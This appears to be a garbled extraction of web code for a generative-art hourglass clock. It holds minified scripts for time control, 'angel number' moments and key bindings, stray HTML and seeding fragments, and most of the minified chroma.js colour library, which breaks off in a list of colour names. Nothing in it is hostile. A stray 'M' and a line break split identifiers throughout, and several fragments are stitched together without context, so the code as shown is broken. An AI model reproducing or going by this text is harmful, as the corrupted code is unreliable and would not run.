ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
